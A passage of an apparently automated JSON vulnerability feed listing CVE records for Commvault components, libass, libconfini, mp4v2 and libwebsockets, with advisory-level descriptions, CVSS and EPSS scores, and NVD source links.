HyperScale.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:52.300Z","updatedAt":"2026-10-14T16:04:11.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97334","asOf":"2026-10-14T16:04:11.750Z"},"epss":{"probability":0.00356,"percentile":0.28993,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97334&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97334","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97334","type":"primary","publishedAt":"2026-10-13T15:17:52.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97334&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97334, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97333","cveId":"CVE-2026-97333","aliases":[],"kind":"vulnerability","title":"QAPI contained a stack-based buffer overflow affecting service availability.","summary":"QAPI contained a stack-based buffer overflow affecting service availability.  Software customers upgrade to resolved maintenance release. Update CommServe, Web Server, Command Center and Index Server.","detail":"QAPI contained a stack-based buffer overflow affecting service availability.  Software customers upgrade to resolved maintenance release. Update CommServe, Web Server, Command Center and Index Server.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:52.160Z","updatedAt":"2026-10-14T16:04:11.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97333","asOf":"2026-10-14T16:04:11.750Z"},"epss":{"probability":0.00239,"percentile":0.14879,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97333&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97333","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97333","type":"primary","publishedAt":"2026-10-13T15:17:52.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97333&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97333, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95127","cveId":"CVE-2026-95127","aliases":[],"kind":"vulnerability","title":"An issue in libass v.0.17.5 allows a remote attacker to cause a denial of service via the ass_outline_construct() in libass/ass_render.c","summary":"An issue in libass v.0.17.5 allows a remote attacker to cause a denial of service via the ass_outline_construct() in libass/ass_render.c","detail":"An issue in libass v.0.17.5 allows a remote attacker to cause a denial of service via the ass_outline_construct() in libass/ass_render.c\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:51.920Z","updatedAt":"2026-10-26T17:17:31.583Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95127","asOf":"2026-10-26T17:17:31.583Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95127","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95127","type":"primary","publishedAt":"2026-10-13T15:17:51.920Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95124","cveId":"CVE-2026-95124","aliases":[],"kind":"vulnerability","title":"Buffer Overflow vulnerability in madmurphy libconfini v.1.16.4 allows a remote attacker to cause a denial of service via an allocation-size mismatch between its bundled...","summary":"Buffer Overflow vulnerability in madmurphy libconfini v.1.16.4 allows a remote attacker to cause a denial of service via an allocation-size mismatch between its bundled load_ini_buffer utility and strip_ini_cache()","detail":"Buffer Overflow vulnerability in madmurphy libconfini v.1.16.4 allows a remote attacker to cause a denial of service via an allocation-size mismatch between its bundled load_ini_buffer utility and strip_ini_cache()\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:51.803Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95124","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00555,"percentile":0.46064,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95124&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95124","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95124","type":"primary","publishedAt":"2026-10-13T15:17:51.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95124&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95124, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95122","cveId":"CVE-2026-95122","aliases":[],"kind":"vulnerability","title":"mp4v2 2.0.0 contains a NULL pointer dereference vulnerability in MP4File::GenerateTracks() in src/mp4file.cpp.","summary":"mp4v2 2.0.0 contains a NULL pointer dereference vulnerability in MP4File::GenerateTracks() in src/mp4file.cpp. This allows a remote attacker to cause a denial of service","detail":"mp4v2 2.0.0 contains a NULL pointer dereference vulnerability in MP4File::GenerateTracks() in src/mp4file.cpp. This allows a remote attacker to cause a denial of service\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:51.677Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95122","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00512,"percentile":0.43388,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95122&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95122","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95122","type":"primary","publishedAt":"2026-10-13T15:17:51.677Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95122&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95122, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95121","cveId":"CVE-2026-95121","aliases":[],"kind":"vulnerability","title":"An issue in mp4v2 2.0.0 allows an attacker to execute arbitrary code via the MP4RtpAtom::ReadHntiType() in src/atom_rtp.cpp.","summary":"An issue in mp4v2 2.0.0 allows an attacker to execute arbitrary code via the MP4RtpAtom::ReadHntiType() in src/atom_rtp.cpp. A specially crafted MP4 file can cause an undersized rtp atom to produce a near-2^64 allocation size through an unchecked offset subtraction","detail":"An issue in mp4v2 2.0.0 allows an attacker to execute arbitrary code via the MP4RtpAtom::ReadHntiType() in src/atom_rtp.cpp. A specially crafted MP4 file can cause an undersized rtp atom to produce a near-2^64 allocation size through an unchecked offset subtraction\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:51.553Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95121","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00201,"percentile":0.09824,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95121&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95121","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95121","type":"primary","publishedAt":"2026-10-13T15:17:51.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95121&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95121, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95115","cveId":"CVE-2026-95115","aliases":[],"kind":"vulnerability","title":"Buffer Overflow vulnerability in libwebsockets main 106d542c allows a remote attacker to cause a denial of service via the LEJP JSON parser","summary":"Buffer Overflow vulnerability in libwebsockets main 106d542c allows a remote attacker to cause a denial of service via the LEJP JSON parser","detail":"Buffer Overflow vulnerability in libwebsockets main 106d542c allows a remote attacker to cause a denial of service via the LEJP JSON parser\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:51.307Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95115","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00548,"percentile":0.45636,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95115&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95115","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95115","type":"primary","publishedAt":"2026-10-13T15:17:51.307Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95115&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95115, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95114","cveId":"CVE-2026-95114","aliases":[],"kind":"vulnerability","title":"libwebsockets contains an out-of-bounds read vulnerability in the LEJP incremental parser in lib/misc/lejp.c.","summary":"libwebsockets contains an out-of-bounds read vulnerability in the LEJP incremental parser in lib/misc/lejp.c. This allows a remote attacker to cause a denial of service","detail":"libwebsockets contains an out-of-bounds read vulnerability in the LEJP incremental parser in lib/misc/lejp.c. This allows a remote attacker to cause a denial of service\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:51.153Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95114","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00519,"percentile":0.43808,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95114&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95114","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95114","type":"primary","publishedAt":"2026-10-13T15:17:51.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95114&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95114, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77100","cveId":"CVE-2026-77100","aliases":[],"kind":"vulnerability","title":"MediaAgent contained a heap-based buffer overflow issue affecting service availability.","summary":"MediaAgent contained a heap-based buffer overflow issue affecting service availability.  Software customers upgrade to resolved maintenance release. Update Commvault installation of MediaAgents and HyperScale.","detail":"MediaAgent contained a heap-based buffer overflow issue affecting service availability.  Software customers upgrade to resolved maintenance release. Update Commvault installation of MediaAgents and HyperScale.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:49.650Z","updatedAt":"2026-10-14T16:04:11.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77100","asOf":"2026-10-14T16:04:11.750Z"},"epss":{"probability":0.00316,"percentile":0.24332,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77100&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77100","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77100","type":"primary","publishedAt":"2026-10-13T15:17:49.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77100&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77100, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77096","cveId":"CVE-2026-77096","aliases":[],"kind":"vulnerability","title":"CVFS contained a missing authentication condition affecting command execution.","summary":"CVFS contained a missing authentication condition affecting command execution.  Software customers upgrade to resolved maintenance release. Update CVFS.","detail":"CVFS contained a missing authentication condition affecting command execution.  Software customers upgrade to resolved maintenance release. Update CVFS.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:49.400Z","updatedAt":"2026-10-14T19:17:21.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77096","asOf":"2026-10-14T19:17:21.113Z"},"epss":{"probability":0.00231,"percentile":0.13825,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77096&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77096","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77096","type":"primary","publishedAt":"2026-10-13T15:17:49.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77096&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77096, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77095","cveId":"CVE-2026-77095","aliases":[],"kind":"vulnerability","title":"CvFWD contained a null pointer dereference affecting service availability.","summary":"CvFWD contained a null pointer dereference affecting service availability.  Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe, Webserver, Command Center, MediaAgents, Clients and HyperScale.","detail":"CvFWD contained a null pointer dereference affecting service availability.  Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe, Webserver, Command Center, MediaAgents, Clients and HyperScale.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:49.273Z","updatedAt":"2026-10-14T19:17:20.997Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77095","asOf":"2026-10-14T19:17:20.997Z"},"epss":{"probability":0.00226,"percentile":0.13136,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77095&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77095","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77095","type":"primary","publishedAt":"2026-10-13T15:17:49.273Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77095&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77095, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77094","cveId":"CVE-2026-77094","aliases":[],"kind":"vulnerability","title":"CvFWD contained an out-of-bounds write affecting service availability.","summary":"CvFWD contained an out-of-bounds write affecting service availability.  Software customers upgrade to resolved maintenance release. Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe, Webserver, Command Center, MediaAgents, Clients and HyperScale.","detail":"CvFWD contained an out-of-bounds write affecting service availability.  Software customers upgrade to resolved maintenance release. Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe, Webserver, Command Center, MediaAgents, Clients and HyperScale.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:49.143Z","updatedAt":"2026-10-14T19:17:20.883Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77094","asOf":"2026-10-14T19:17:20.883Z"},"epss":{"probability":0.00226,"percentile":0.13136,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77094&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77094","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77094","type":"primary","publishedAt":"2026-10-13T15:17:49.143Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 